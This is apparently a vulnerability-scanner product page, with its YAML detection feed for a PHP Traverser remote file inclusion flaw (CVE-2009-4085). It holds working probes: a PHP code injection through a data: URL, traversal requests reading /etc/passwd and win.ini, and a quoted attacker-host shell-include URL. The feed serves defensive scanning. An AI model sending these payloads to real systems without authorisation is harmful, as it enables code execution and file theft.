Phptraverse — 1 vulnerability check
noctis ships 1 vulnerability check for Phptraverse, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHP Traverser mp3_id.php BASE Remote File Inclusion
| CVE | CVE-2009-4085 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/phptraverse/CVE-2009-4085.yaml |
Tests PHP Traverser for the unauthenticated file inclusion in assets/plugins/mp3_id/mp3_id.php, which includes BASE followed by "/PEAR/PEAR.php" when register_globals is enabled. The feed requests the page under the usual install folders with BASE (and GLOBALS[BASE]) set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. It then asks the page to include /etc/passwd and windows/win.ini through a ../ path ending in a NUL byte, and reports the file content only when the same request for a missing folder does not return it. When OOB is enabled, BASE is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random directory followed by "/PEAR/PEAR.php" shows that the value reaches include_once() unchecked. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.data}}&BASE={{prob… - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: PHP Traverser mp3_id.php BASE Remote File Inclusion (CVE-2009-4085) - HTTP(S) request
GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.up}}etc/passwd%00&… - HTTP(S) request
GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.up}}windows/win.in… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.absent}}{{read_hit… - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.marker}}&BASE={{pr… - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- … and 4 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4085
- https://www.exploit-db.com/exploits/10219
- https://sourceforge.net/projects/phptraverse/
Feed source — tests/vulnerabilities/phptraverse/CVE-2009-4085.yaml
# PHP Traverser mp3_id.php BASE remote file inclusion — CVE-2009-4085
#
# PHP Traverser (SourceForge project "phptraverse", 0.8.0 is the last release,
# never fixed) ships the PEAR MP3_Id class as assets/plugins/mp3_id/mp3_id.php.
# Its first statement (line 32) is:
#
# include_once $GLOBALS['BASE'].'/PEAR/PEAR.php';
#
# The page has no guard, so with register_globals On a direct request with
# BASE=<x> includes "<x>/PEAR/PEAR.php" (advisory: exploit-db 10219,
# GLOBALS[BASE]=http://attacker/shell.txt?). PHP >= 4.4.1 / 5.0.5 refuses a
# GLOBALS[...] request parameter, but at file scope BASE=<x> sets the same
# $GLOBALS['BASE']: every probe sends both forms with the same value.
#
# Detection, per install folder (web root, /phptraverse, /phptraverser,
# /traverse — the tarball has no top-level folder):
# 1. In-band code execution (QoD 97): BASE is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. With allow_url_include
# (PHP >= 5.2) the code runs and the reply carries md5 of the product, a
# value the request never contains. A refused wrapper only quotes the code
# text in a warning. No quotes in the code (magic_quotes_gpc-safe), nothing
# written on the server.
# 2. File read (QoD 75, the source check's own probe): BASE is
# ../(x13)etc/passwd%00, then ../(x13)windows/win.ini%00; the NUL byte cuts
# the appended suffix on PHP < 5.3.4 with magic_quotes_gpc Off, so the file
# is included and printed. A control request for the same file under a
# missing random folder must not return it (honeypots answering any path).
# 3. OOB (QoD 97, only when OOB is enabled): BASE is the noctis callback URL
# followed by "?", so the appended "/PEAR/PEAR.php" lands in the query
# string; a fetch of the URL is the remote inclusion. Covers servers that
# hide PHP errors and output.
# 4. Fallback (QoD 75): BASE is a random name; the reply must carry PHP's
# include_once() / main() / "Failed opening … for inclusion" warning
# naming "<random>/PEAR/PEAR.php": the value went, concatenated, into
# include_once().
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_php_traverser_41899.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100734, GPL-2.0-only). Improvements: BASE= sent
# alongside GLOBALS[BASE]= (the source check's only form is refused by every
# PHP since 4.4.1 / 5.0.5), real code execution / OOB proof, the include
# warning fallback for PHP >= 5.3.4 or magic_quotes_gpc On (no NUL cut), the
# absent-file control, no 200 pre-check of the page, and the /phptraverse folder
# (the project's real name; the source check only tries /phptraverser).
uid: 1b3468e1-1b33-426b-8f23-2673571cfc72
name: "PHP Traverser mp3_id.php BASE Remote File Inclusion (CVE-2009-4085)"
description: |
Tests PHP Traverser for the unauthenticated file inclusion in
assets/plugins/mp3_id/mp3_id.php, which includes BASE followed by
"/PEAR/PEAR.php" when register_globals is enabled. The feed requests the page
under the usual install folders with BASE (and GLOBALS[BASE]) set to a data:
URL carrying a small PHP snippet that prints the md5 of the product of two
random numbers; that md5 in the reply confirms that the server ran code
supplied in the request. It then asks the page to include /etc/passwd and
windows/win.ini through a ../ path ending in a NUL byte, and reports the
file content only when the same request for a missing folder does not
return it. When OOB is enabled, BASE is also set to the scanner's callback
URL, and a fetch of that URL confirms the remote inclusion even when PHP
output and errors are hidden. Otherwise, a PHP include warning naming a
random directory followed by "/PEAR/PEAR.php" shows that the value reaches
include_once() unchecked. The snippet only prints a hash and nothing is
written on the server.
cves: [CVE-2009-4085]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [phptraverse, php-traverser, php, rfi, remote-file-inclusion, lfi, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4085"
- "https://www.exploit-db.com/exploits/10219"
- "https://sourceforge.net/projects/phptraverse/"
# OpenVAS/Greenbone NASL 2010/gb_php_traverser_41899.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
let up = "";
for i in 0..13 { up += "../"; }
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12),
up: up,
absent: up + "noctis-absent-" + oob_token + "/"
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-read-found
action: set_var
var_name: read_found
var_value: false
- id: init-read-proof
action: set_var
var_name: read_proof
var_value: ""
- id: init-read-dir
action: set_var
var_name: read_dir
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phptraverse", "/phptraverser", "/traverse"]
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-read-hit
action: set_var
var_name: read_hit
var_value: ""
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.data}}&BASE={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "PHP Traverser mp3_id.php BASE Remote File Inclusion (CVE-2009-4085)"
description: "An unauthenticated request to assets/plugins/mp3_id/mp3_id.php with BASE set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. mp3_id.php includes BASE without any check, so an attacker can run any PHP code on the server."
remediation: "PHP Traverser is no longer maintained and was never fixed: remove it from the server, or at least delete assets/plugins/mp3_id/ and block direct access to the PHP files under assets/. Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/assets/plugins/mp3_id/mp3_id.php?BASE=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 2. ../ path + NUL byte — local file included and printed ─────────────
- id: passwd-probe
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.up}}etc/passwd%00&BASE={{probe.up}}etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "read_found == false && rce_r.status != 404"
store_as: passwd_r
- id: winini-probe
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.up}}windows/win.ini%00&BASE={{probe.up}}windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'read_found == false && rce_r.status != 404 && !(type_of(passwd_r.body) == "string" && egrep("(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:", passwd_r.body) != "")'
store_as: winini_r
# Which file came back: "etc/passwd", "windows/win.ini" or "".
- id: read-check
action: script
code: |
let pb = if type_of(passwd_r.body) == "string" { passwd_r.body } else { "" };
let wb = if type_of(winini_r.body) == "string" { winini_r.body } else { "" };
if egrep("(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:", pb) != "" { "etc/passwd" }
else if egrep("(?m)^\\s*\\[(?:fonts|extensions|mci extensions|files)\\]", wb) != "" { "windows/win.ini" }
else { "" }
condition: "read_found == false"
store_as: read_hit
# Same request for the same file under a missing random folder: an
# application really including the path finds nothing there.
- id: read-control
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.absent}}{{read_hit}}%00&BASE={{probe.absent}}{{read_hit}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'read_found == false && read_hit != ""'
store_as: ctrl_r
- id: read-verdict
action: script
code: |
let cb = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
let hit_status = if read_hit == "etc/passwd" { passwd_r.status } else { winini_r.status };
let leaked = egrep("(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:", cb) != ""
|| egrep("(?m)^\\s*\\[(?:fonts|extensions|mci extensions|files)\\]", cb) != "";
if ctrl_r.status != 0 && ctrl_r.status == hit_status && !leaked { read_hit } else { "" }
condition: 'read_found == false && read_hit != ""'
store_as: read_proof
- id: read-dir
action: script
code: "dir"
condition: 'read_found == false && read_hit != "" && read_proof != ""'
store_as: read_dir
- id: read-found
action: set_var
var_name: read_found
var_value: true
condition: 'read_proof != ""'
# ── 4. Random folder name — include warning naming it (fallback) ─────────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{probe.marker}}&BASE={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let f = probe.marker + "/PEAR/PEAR.php";
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening '" + f + "' for inclusion");
for w in ["include(", "include_once(", "require(", "require_once(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: 'probe.marker + "/PEAR/PEAR.php"'
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 3. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply), since a server hiding PHP errors gives no in-band sign. "%3F"
# makes the appended path a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/assets/plugins/mp3_id/mp3_id.php?GLOBALS%5BBASE%5D={{oob_url}}%3F&BASE={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "PHP Traverser mp3_id.php BASE Remote File Inclusion (CVE-2009-4085)"
description: "An unauthenticated request to assets/plugins/mp3_id/mp3_id.php with BASE set to the noctis callback URL made the server fetch that URL: mp3_id.php includes BASE without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "PHP Traverser is no longer maintained and was never fixed: remove it from the server, or at least delete assets/plugins/mp3_id/ and block direct access to the PHP files under assets/. Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/assets/plugins/mp3_id/mp3_id.php?BASE=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback findings ─────────────────────────────────────────────────────
- id: report-read
action: match
source: read_proof
pattern: "^(etc/passwd|windows/win\\.ini)$"
condition: 'read_proof != ""'
on_match:
finding:
title: "PHP Traverser mp3_id.php BASE File Inclusion (CVE-2009-4085)"
description: "An unauthenticated request to assets/plugins/mp3_id/mp3_id.php with BASE set to a ../ path ending in a NUL byte returned the content of a system file, while the same request for a missing folder did not: mp3_id.php passes BASE to include_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but any file readable by the web server can be included."
remediation: "PHP Traverser is no longer maintained and was never fixed: remove it from the server, or at least delete assets/plugins/mp3_id/ and block direct access to the PHP files under assets/. Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{read_dir}}/assets/plugins/mp3_id/mp3_id.php?BASE=../(x13){{read_proof}}%00 returned the content of /{{read_proof}}; the same request under a missing folder did not"
stop: true
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+/PEAR/PEAR\\.php$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "PHP Traverser mp3_id.php BASE File Inclusion (CVE-2009-4085)"
description: "An unauthenticated request to assets/plugins/mp3_id/mp3_id.php with BASE set to a random folder name returned a PHP include warning for that name followed by /PEAR/PEAR.php: mp3_id.php passes BASE to include_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "PHP Traverser is no longer maintained and was never fixed: remove it from the server, or at least delete assets/plugins/mp3_id/ and block direct access to the PHP files under assets/. Disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/assets/plugins/mp3_id/mp3_id.php?BASE={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: true